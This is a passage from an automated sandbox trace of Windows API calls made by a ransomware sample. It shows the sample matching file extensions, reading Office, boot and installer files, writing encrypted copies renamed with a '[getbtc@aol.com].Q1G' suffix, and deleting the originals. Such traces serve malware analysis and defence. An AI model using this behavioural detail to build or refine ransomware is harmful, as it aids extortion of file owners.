lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0058.654] lstrlenW (lpString=".bz2") returned 4 [0058.654] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0058.654] lstrlenW (lpString=".7z") returned 3 [0058.654] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0058.654] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL") returned 72 [0058.654] lstrlenW (lpString=".dbf") returned 4 [0058.654] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0058.654] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL") returned 72 [0058.654] lstrlenW (lpString=".1cd") returned 4 [0058.654] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0058.654] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL") returned 72 [0058.655] lstrlenW (lpString=".jpg") returned 4 [0058.655] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0058.655] lstrcmpiW (lpString1=".DLL", lpString2=".Q1G") returned -1 [0058.655] lstrlenW (lpString="ACEODBCI.DLL") returned 12 [0058.655] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceodbci.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0058.656] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x34dff1c | out: lpFileSize=0x34dff1c*=52656) returned 1 [0058.656] CloseHandle (hObject=0x204) returned 1 [0058.656] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceodbci.dll")) returned 0x20 [0058.656] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceodbci.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0058.656] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceodbci.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0058.656] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec8 | out: lpNewFilePointer=0x0) returned 1 [0058.656] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec8 | out: lpNewFilePointer=0x0) returned 1 [0058.656] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceodbci.dll.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0058.656] GetLastError () returned 0x0 [0058.656] ReadFile (in: hFile=0x204, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x34dfed4*=0xcdb0, lpOverlapped=0x0) returned 1 [0058.658] WriteFile (in: hFile=0x168, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xcdc0, lpNumberOfBytesWritten=0x34dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x34dfc9c*=0xcdc0, lpOverlapped=0x0) returned 1 [0058.660] ReadFile (in: hFile=0x204, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x34dfed4*=0x0, lpOverlapped=0x0) returned 1 [0058.660] WriteFile (in: hFile=0x168, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x34dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0058.660] SetEndOfFile (hFile=0x168) returned 1 [0058.660] CloseHandle (hObject=0x168) returned 1 [0058.661] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec8 | out: lpNewFilePointer=0x0) returned 1 [0058.661] SetEndOfFile (hFile=0x204) returned 1 [0058.662] CloseHandle (hObject=0x204) returned 1 [0058.662] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0058.662] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceodbci.dll")) returned 1 [0058.662] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL") returned 73 [0058.662] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL") returned 73 [0058.662] lstrlenW (lpString=".doc") returned 4 [0058.662] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0058.662] lstrlenW (lpString=".docx") returned 5 [0058.662] lstrcmpiW (lpString1=".docx", lpString2="I.DLL") returned -1 [0058.662] lstrlenW (lpString=".pdf") returned 4 [0058.662] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0058.662] lstrlenW (lpString=".xls") returned 4 [0058.662] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0058.662] lstrlenW (lpString=".xlsx") returned 5 [0058.662] lstrcmpiW (lpString1=".xlsx", lpString2="I.DLL") returned -1 [0058.662] lstrlenW (lpString=".ppt") returned 4 [0058.662] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0058.663] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL") returned 73 [0058.663] lstrlenW (lpString=".zip") returned 4 [0058.663] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0058.663] lstrlenW (lpString=".rar") returned 4 [0058.663] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0058.663] lstrlenW (lpString=".bz2") returned 4 [0058.663] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0058.663] lstrlenW (lpString=".7z") returned 3 [0058.663] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0058.663] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL") returned 73 [0058.663] lstrlenW (lpString=".dbf") returned 4 [0058.663] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0058.663] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL") returned 73 [0058.663] lstrlenW (lpString=".1cd") returned 4 [0058.663] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0058.663] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL") returned 73 [0058.663] lstrlenW (lpString=".jpg") returned 4 [0058.663] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0058.663] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL") returned 73 [0058.663] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL") returned 73 [0058.663] lstrlenW (lpString=".doc") returned 4 [0058.663] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0058.663] lstrlenW (lpString=".docx") returned 5 [0058.663] lstrcmpiW (lpString1=".docx", lpString2="I.DLL") returned -1 [0058.663] lstrlenW (lpString=".pdf") returned 4 [0058.663] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0058.663] lstrlenW (lpString=".xls") returned 4 [0058.663] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0058.663] lstrlenW (lpString=".xlsx") returned 5 [0058.663] lstrcmpiW (lpString1=".xlsx", lpString2="I.DLL") returned -1 [0058.663] lstrlenW (lpString=".ppt") returned 4 [0058.663] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0058.663] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL") returned 73 [0058.663] lstrlenW (lpString=".zip") returned 4 [0058.664] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0058.664] lstrlenW (lpString=".rar") returned 4 [0058.664] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0058.664] lstrlenW (lpString=".bz2") returned 4 [0058.664] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0058.664] lstrlenW (lpString=".7z") returned 3 [0058.664] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0058.664] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL") returned 73 [0058.664] lstrlenW (lpString=".dbf") returned 4 [0058.664] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0058.664] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL") returned 73 [0058.664] lstrlenW (lpString=".1cd") returned 4 [0058.664] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0058.664] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL") returned 73 [0058.664] lstrlenW (lpString=".jpg") returned 4 [0058.664] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0058.664] lstrcmpiW (lpString1=".DLL", lpString2=".Q1G") returned -1 [0058.664] lstrlenW (lpString="ACERECR.DLL") returned 11 [0058.664] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acerecr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0058.665] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x34dff1c | out: lpFileSize=0x34dff1c*=20944) returned 1 [0058.665] CloseHandle (hObject=0x204) returned 1 [0058.665] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acerecr.dll")) returned 0x20 [0058.665] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acerecr.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0058.665] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acerecr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0058.665] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec8 | out: lpNewFilePointer=0x0) returned 1 [0058.665] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec8 | out: lpNewFilePointer=0x0) returned 1 [0058.665] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acerecr.dll.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0058.665] GetLastError () returned 0x0 [0058.665] ReadFile (hFile=0x204, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfed4, lpOverlapped=0x0) Thread: id = 18 os_tid = 0x9d8 [0035.575] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10000) returned 0x37d02a8 [0035.576] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10000) returned 0x37e02b0 [0035.576] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x5b02f0 [0035.576] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x6) returned 0x564120 [0035.576] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x5b0308 [0035.576] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x100000) returned 0x3db0020 [0035.576] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x5b0320 [0035.576] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5b0320, Size=0x20) returned 0x5667c8 [0035.576] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x5b0320 [0035.577] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5b0320, Size=0x20) returned 0x566818 [0035.577] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0035.577] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650 [0035.577] Wow64DisableWow64FsRedirection (in: OldValue=0x372ff58 | out: OldValue=0x372ff58*=0x0) returned 1 [0035.577] lstrlenW (lpString="kernel32.dll") returned 12 [0035.577] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5667c8 | out: hHeap=0x510000) returned 1 [0035.577] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0035.577] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x566818 | out: hHeap=0x510000) returned 1 [0035.577] Sleep (dwMilliseconds=0x64) [0035.967] lstrcmpiW (lpString1=".ttf", lpString2=".Q1G") returned 1 [0035.967] lstrlenW (lpString="wgl4_boot.ttf") returned 13 [0035.967] CreateFileW (lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0036.170] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x372ff1c | out: lpFileSize=0x372ff1c*=47452) returned 1 [0036.170] CloseHandle (hObject=0x1a4) returned 1 [0036.170] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf")) returned 0x20 [0036.170] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0036.170] CreateFileW (lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0036.170] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0036.170] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0036.170] lstrlenW (lpString=".doc") returned 4 [0036.170] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0036.170] lstrlenW (lpString=".docx") returned 5 [0036.170] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0036.171] lstrlenW (lpString=".pdf") returned 4 [0036.171] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0036.171] lstrlenW (lpString=".xls") returned 4 [0036.171] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0036.171] lstrlenW (lpString=".xlsx") returned 5 [0036.171] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0036.171] lstrlenW (lpString=".ppt") returned 4 [0036.171] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0036.171] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0036.171] lstrlenW (lpString=".zip") returned 4 [0036.171] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0036.171] lstrlenW (lpString=".rar") returned 4 [0036.171] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0036.171] lstrlenW (lpString=".bz2") returned 4 [0036.171] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0036.171] lstrlenW (lpString=".7z") returned 3 [0036.171] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0036.171] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0036.171] lstrlenW (lpString=".dbf") returned 4 [0036.171] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0036.171] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0036.171] lstrlenW (lpString=".1cd") returned 4 [0036.171] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0036.171] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0036.171] lstrlenW (lpString=".jpg") returned 4 [0036.171] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0036.171] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0036.171] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0036.171] lstrlenW (lpString=".doc") returned 4 [0036.171] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0036.171] lstrlenW (lpString=".docx") returned 5 [0036.172] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0036.172] lstrlenW (lpString=".pdf") returned 4 [0036.172] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0036.172] lstrlenW (lpString=".xls") returned 4 [0036.172] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0036.172] lstrlenW (lpString=".xlsx") returned 5 [0036.172] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0036.172] lstrlenW (lpString=".ppt") returned 4 [0036.172] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0036.172] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0036.172] lstrlenW (lpString=".zip") returned 4 [0036.172] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0036.172] lstrlenW (lpString=".rar") returned 4 [0036.172] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0036.172] lstrlenW (lpString=".bz2") returned 4 [0036.172] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0036.172] lstrlenW (lpString=".7z") returned 3 [0036.172] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0036.172] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0036.172] lstrlenW (lpString=".dbf") returned 4 [0036.172] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0036.172] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0036.172] lstrlenW (lpString=".1cd") returned 4 [0036.172] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0036.172] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0036.172] lstrlenW (lpString=".jpg") returned 4 [0036.172] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0036.172] lstrcmpiW (lpString1=".msi", lpString2=".Q1G") returned -1 [0036.172] lstrlenW (lpString="ExcelMUI.msi") returned 12 [0036.173] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0036.516] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x372ff1c | out: lpFileSize=0x372ff1c*=2506240) returned 1 [0036.516] CloseHandle (hObject=0x1c8) returned 1 [0036.526] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi")) returned 0x2020 [0036.526] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0036.526] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi.id-9c354b42.[getbtc@aol.com].q1g")) returned 1 [0036.527] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0036.527] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x372fc6c | out: lpNewFilePointer=0x0) returned 1 [0036.527] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x372fc2c | out: lpNewFilePointer=0x0) returned 1 [0036.527] ReadFile (in: hFile=0x1c8, lpBuffer=0x3db0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x372fc38, lpOverlapped=0x0 | out: lpBuffer=0x3db0058*, lpNumberOfBytesRead=0x372fc38*=0x40000, lpOverlapped=0x0) returned 1 [0036.535] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0xcbf55, lpNewFilePointer=0x0, dwMoveMethod=0x372fc2c | out: lpNewFilePointer=0x0) returned 1 [0036.535] ReadFile (in: hFile=0x1c8, lpBuffer=0x3df0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x372fc38, lpOverlapped=0x0 | out: lpBuffer=0x3df0058*, lpNumberOfBytesRead=0x372fc38*=0x40000, lpOverlapped=0x0) returned 1 [0036.547] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x372fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0036.547] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x223e00, lpNewFilePointer=0x0, dwMoveMethod=0x372fc2c | out: lpNewFilePointer=0x0) returned 1 [0036.547] ReadFile (in: hFile=0x1c8, lpBuffer=0x3e30058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x372fc38, lpOverlapped=0x0 | out: lpBuffer=0x3e30058*, lpNumberOfBytesRead=0x372fc38*=0x40000, lpOverlapped=0x0) returned 1 [0036.699] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x372fec8 | out: lpNewFilePointer=0x0) returned 1 [0036.699] WriteFile (in: hFile=0x1c8, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x372fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x372fcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0036.715] SetEndOfFile (hFile=0x1c8) returned 1 [0036.716] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40000) returned 0x3f3d098 [0036.716] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x372fc7c | out: lpNewFilePointer=0x0) returned 1 [0036.716] WriteFile (in: hFile=0x1c8, lpBuffer=0x3f3d098*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x372fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f3d098*, lpNumberOfBytesWritten=0x372fc88*=0x40000, lpOverlapped=0x0) returned 1 [0036.717] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0xcbf55, lpNewFilePointer=0x0, dwMoveMethod=0x372fc7c | out: lpNewFilePointer=0x0) returned 1 [0036.717] WriteFile (in: hFile=0x1c8, lpBuffer=0x3f3d098*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x372fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f3d098*, lpNumberOfBytesWritten=0x372fc88*=0x40000, lpOverlapped=0x0) returned 1 [0036.723] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x223e00, lpNewFilePointer=0x0, dwMoveMethod=0x372fc7c | out: lpNewFilePointer=0x0) returned 1 [0036.723] WriteFile (in: hFile=0x1c8, lpBuffer=0x3f3d098*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x372fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f3d098*, lpNumberOfBytesWritten=0x372fc88*=0x40000, lpOverlapped=0x0) returned 1 [0036.726] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3f3d098 | out: hHeap=0x510000) returned 1 [0036.726] CloseHandle (hObject=0x1c8) returned 1 [0037.224] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x2020) returned 1 [0037.224] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0037.224] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0037.224] lstrlenW (lpString=".doc") returned 4 [0037.224] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0037.224] lstrlenW (lpString=".docx") returned 5 [0037.224] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0037.224] lstrlenW (lpString=".pdf") returned 4 [0037.224] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0037.225] lstrlenW (lpString=".xls") returned 4 [0037.225] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0037.225] lstrlenW (lpString=".xlsx") returned 5 [0037.225] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0037.225] lstrlenW (lpString=".ppt") returned 4 [0037.225] 